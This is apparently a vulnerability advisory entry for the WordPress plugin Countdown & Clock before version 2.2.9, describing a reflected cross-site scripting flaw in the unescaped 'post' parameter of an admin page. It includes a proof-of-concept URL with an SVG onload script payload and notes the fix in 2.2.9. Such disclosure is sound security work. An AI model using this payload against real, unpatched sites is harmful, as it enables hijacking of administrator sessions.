WordPress Plugin Vulnerabilities
Countdown & Clock < 2.2.9 - Reflected Cross-Site Scripting
Description
The plugin does not sanitize and escape the post parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/post-new.php?post_type=ycdcountdown&post="><svg onload=alert(/XSS/)>
Affects Plugins
Fixed in version 2.2.9
References
Classification
Miscellaneous
Original Researcher
Ran Crane
Submitter
Ran Crane
Verified
Yes
Timeline
Publicly Published
2022-02-21 (about 4 months ago)
Added
2022-02-21 (about 4 months ago)
Last Updated
2022-04-13 (about 2 months ago)